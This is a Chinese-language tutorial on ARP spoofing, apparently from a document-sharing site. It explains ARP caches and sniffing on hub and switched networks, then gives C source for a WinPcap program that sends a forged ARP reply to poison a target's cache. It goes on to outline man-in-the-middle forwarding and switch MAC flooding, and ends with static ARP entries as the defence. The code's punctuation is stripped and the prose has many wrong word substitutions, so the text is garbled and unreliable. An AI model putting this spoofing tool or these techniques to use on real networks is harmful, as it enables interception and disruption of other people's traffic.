还剩9页未读,继续阅读
本资源只提供10页预览,全部文档请下载后查看!喜欢就下载吧,查找使用更方便
文本内容:
实现讲解对目的进展ARP欺骗网站平安电脑资料以太网内的嗅探sniff对于网络平安来说并不是什么好事,虽然对于网络员可以跟踪数据包并且发现网络问题,但是假如被破坏者利用的话,就对整个网络构成严重的平安威胁,ARP缓存表假设这样一个网络EcellSpacing=0borderColorDark=#ffffffcellPadding=2width=400align=leftborderColorLight=blackborder=1——————————|HUB|——————————HostAHostBHostC其中A的地址为IP
192.
168.
10.1MAC:AA-AA-AA-AA-AA-AAB的地址为IP
192.
168.
10.2MAC:BB-BB-BB-BB-BB-BBC的地址为IP
192.
168.
10.3MAC:CC-CC-CC-CC-CC-CC假设B是属于一个嗅探爱好者的,比方A机器的ARP缓存C:\arp-aInterface:
192.
168.
10.1onInterface0x1000003InterAddressPhysicalAddressType
192.
168.
10.3CC-CC-CC-CC-CC-CCdynamic这是
192.
168.
10.1机器上的ARP缓存表,假设,A进展一次ping
192.
168.
10.3操作,PING主机C,会查询本地的ARP缓存表,找到C的IP地址的MAC地址,那么就会进展数据传输,目的地就是C的MAC地址假如A中没有C的ARP记录,那么A首先要播送一次ARP恳求,当C接收到A的恳求后就发送一个应答,应答中包含有C的MAC地址,然后A接收到C的应答,就会更新本地的ARP缓存接着使用这个MAC地址发送数据(由网卡附加MAC地址)因此,本地高速缓存的这个ARP表是本地网络流通的根底,而且这个缓存是动态的集线器网络Hub-Based很多网络都是用Hub进展连接的数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包播送到Hub的所有端口上这就是上面举例中的一种网络构造如今A需要发送TCP数据包给C首先,A需要检查本地的ARP缓存表,查看是否有IP为
192.
168.
10.3即C的ARP记录,假如没有那么A将要播送一个ARP恳求,当C接收到这个恳求后,就作出应答,然后A更新自己的ARP缓存表并获得与C的IP相对应的MAC地址这时就传输这个TCP数据包,Ether帧中就包含了C的MAC地址当数据包传输到HUB的时候,HUB直接把整个数据包播送到所有的端口,然后C就可以接收到A发送的数据包正因为HUB把数据播送到所有的端口,所以计算机B也可以收到A发送给C的数据包这正是到达了B嗅探的目的因此,Hub-Based的网络根本没有平安可言,嗅探在这样的网络中非常容易交换网络(SwitchedLan)交换机用来代替HUB,正是为了可以解决HUB的几个平安问题,其中就是可以来解决嗅探问题Switch不是把数据包进展端口播送,它将通过自己的ARP缓存来决定数据包传输到那个端口上因此,在交换网络上,假如把上面例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂形式,也不能进展嗅探ARP欺骗(ARPspoofing)ARP协议并不只在发送了ARP恳求才接收ARP应答当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进展更新,将应答中的IP和MAC地址存储在ARP缓存中因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是
192.
168.
10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不知道被伪造了)如今A机器的ARP缓存更新了C:\arp-aInterface:
192.
168.
10.1onInterface0x1000003InterAddressPhysicalAddressType
192.
168.
10.3DD-DD-DD-DD-DD-DDdynamic这可不是小事局域网的网络流通可不是根据IP地址进展,而是按照MAC地址进展传输如今
192.
168.
10.3的MAC地址在A上被改变成一个本不存在的MAC地址如今A开场Ping
192.
168.
10.3,网卡递交的MAC地址是DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!这就是一个简单的ARP欺骗我们来实现这样的ARP欺骗这里需要使用一个WinPcap提供的API和驱动,winpcap是一个伟大而且开放的工程Windows环境下的nmap、snort、windump都是使用的winpcap//ARPSender#includestdafx.h#includeMac.h//GetMacAddr,我写的把字符串转换为MAC地址的函数,就不列在这里了#include#include#defineEPTIP0x0800#defineEPTARP0x0806#defineEPTRARP0x8035#defineARPHARDWARE0x0001#defineARPREQUEST0x0001#defineARPREPLY0x0002#defineMaxNumAdapter10#pragmapackpush1typedefstructehhdr{unsignedcharehdst
[6];unsignedcharehsrc
[6];unsignedshortehtype;}EHHDR*PEHHDR;typedefstructarphdr{unsignedshortarphrd;unsignedshortarppro;unsignedchararphln;unsignedchararppln;unsignedshortarpop;unsignedchararpsha
[6];unsignedlongarpspa;unsignedchararptha
[6];unsignedlongarptpa;}ARPHDR*PARPHDR;typedefstructarpPacket{EHHDRehhdr;ARPHDRarphdr;}ARPPACKET*PARPPACKET;#pragmapackpopintmainintargcchar*argv[]{staticcharAdapterList[MaxNumAdapter]
[1024];charszPacketBuf
[600];charMacAddr
[6];LPADAPTERlpAdapter;LPPACKETlpPacket;WCHARAdapterName
[2048];WCHAR*temp*temp1;ARPPACKETARPPacket;ULONGAdapterLength=1024;intAdapterNum=0;intnRetCodei;###NextPage###//GetThelistofAdapterifPacketGetAdapterNameschar*AdapterNameAdapterLength==FALSE{printfUnabletoretrievethelistoftheadapters!\n;return0;}temp=AdapterName;temp1=AdapterName;i=0;while*temp!=\0||*temp-1!=\0{if*temp==\0{memcpyAdapterListtemp1temp-temp1*2;temp1=temp+1;i++;}temp++;}AdapterNum=i;fori=0;iAdapterNum;i++wprintfL\n%d-%s\ni+1AdapterList;printf\n;//Defaultopenthe0lpAdapter=LPADAPTERPacketOpenAdapterLPTSTRAdapterList
[0];//取第一个网卡(假设啦)if!lpAdapter||lpAdapter-hFile==INVALIDHANDLEVALUE{nRetCode=GetLastError;printfUnabletoopenthedriverErrorCode:%lx\nnRetCode;return0;}lpPacket=PacketAllocatePacket;iflpPacket==NULL{printf\nError:failedtoallocatetheLPPACKETstructure.;return0;}ZeroMemoryszPacketBufsizeofszPacketBuf;if!GetMacAddrBBBBBBBBBBBBMacAddr{printfGetMacaddresserror!\n;}memcpyARPPacket.ehhdr.ehdstMacAddr6;//源MAC地址if!GetMacAddrAAAAAAAAAAAAMacAddr{printfGetMacaddresserror!\n;return0;}memcpyARPPacket.ehhdr.ehsrcMacAddr6;//目的MAC地址,ARPPacket.ehhdr.ehtype=htonsEPTARP;ARPPacket.arphdr.arphrd=htonsARPHARDWARE;ARPPacket.arphdr.arppro=htonsEPTIP;ARPPacket.arphdr.arphln=6;ARPPacket.arphdr.arppln=4;ARPPacket.arphdr.arpop=htonsARPREPLY;if!GetMacAddrDDDDDDDDDDDDMacAddr{printfGetMacaddresserror!\n;return0;}memcpyARPPacket.arphdr.arpshaMacAddr6;//伪造的C的MAC地址ARPPacket.arphdr.arpspa=iaddr
192.
168.
10.3;//C的IP地址if!GetMacAddrAAAAAAAAAAAAMacAddr{printfGetMacaddresserror!\n;return0;}memcpyARPPacket.arphdr.arpthaMacAddr6;//目的A的MAC地址ARPPacket.arphdr.arptpa=iaddr
192.
168.
10.1;//目的A的IP地址memcpyszPacketBufchar*ARPPacketsizeofARPPacket;PacketInitPacketlpPacketszPacketBuf60;ifPacketSetNumWriteslpAdapter2==FALSE{printfwarning:Unabletosendmorethanonepacketinasinglewrite!\n;}ifPacketSendPacketlpAdapterlpPacketTRUE==FALSE{printfErrorsendingthepackets!\n;return0;}printfSendok!\n;###NextPage###//closetheadapterandexitPacketFreePacketlpPacket;PacketCloseAdapterlpAdapter;return0;}于是A接收到一个被伪造的ARP应答A被欺骗了!!倘假设在局域网中看某某机器不顺眼,以太网中的嗅探太有作用了,但是交换网络对嗅探进展了限制,让嗅探深化程度大打折扣不过,很容易就可以发现,主机、Switch(动态更新地址表类型,下同)中的缓存表仍然是(主要是)动态的要在一个交换网络中进展有效的嗅探工作(地下党?),需要采用对付各种缓存表的方法,连骗带哄,甚至乱踹,在上面的ARP欺骗根底中我们就可以做到对目的进展ARP欺骗就象上面程序中实现的一样,对目的A进展欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上假如进展欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了这不正好是B可以接收到A发送的数据包了么,嗅探成功A对这个变化一点都没有意识到,但是接下来的事情就让A产生了疑心因为A和C连接不上了!!B对接收到A发送给C的数据包可没有转交给C做“maninthemiddle”进展ARP重定向翻开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由器一样不过,假设B发送ICMP重定向的话就中断了整个直接进展整个包的修改转发,捕获到A发送给的数据包,全部进展修改后再转发给C,而C接收到的数据包完全认为是从A发送来的不过,C发送的数据包又直接传递给A,倘假设再次进展对C的ARP欺骗如今B就完全成为A与C的中间桥梁了对Switch的MAC欺骗Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对应MAC地址表Portn-Mac记录着每一个端口下面存在那些MAC地址,这个表开场是空的,交换机从来往数据帧中学习举例来说,当Port1口所接的计算机发出了一个数据帧,这帧数据从Port1进入交换机,交换机就取这个数据帧的原MAC地址AAAA,然后在地址表中记录Port1-AAAA以后,所有发向MAC地址为AAAA的数据帧,就全从Port1口输出,而不会从其它的口输出但是,这里有一个问题,A将接收不到数据了嗅探不目的并不是要去破坏正常的数据通讯同时,从刚刚的欺骗中,让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚还请多指教对Switch进展Flood就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端口表都改变,对Switch进展MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,假如能通过这样的方法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进展泛洪发送给每一个端口,让Switch根本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样可以到达存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丧失情况而且如今对这种极限情况的Switch状态还很不理解假如对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丧失)对Switch进展各种手段的操作,需要小心,假如翻开了端口保护,那么可能会让交换机关闭所有用户因此,对交换机这样的设备进展欺骗或者其他操作,还不如对一些上级设备进展欺骗,比方目的主机或者路由器至于上面关于嗅探的手段都是基于这个动态表进展的因此,使用静态的ARP就可以进展防范了对于WIN,使用arp-s来进展静态ARP的设置模板内容仅供参考 。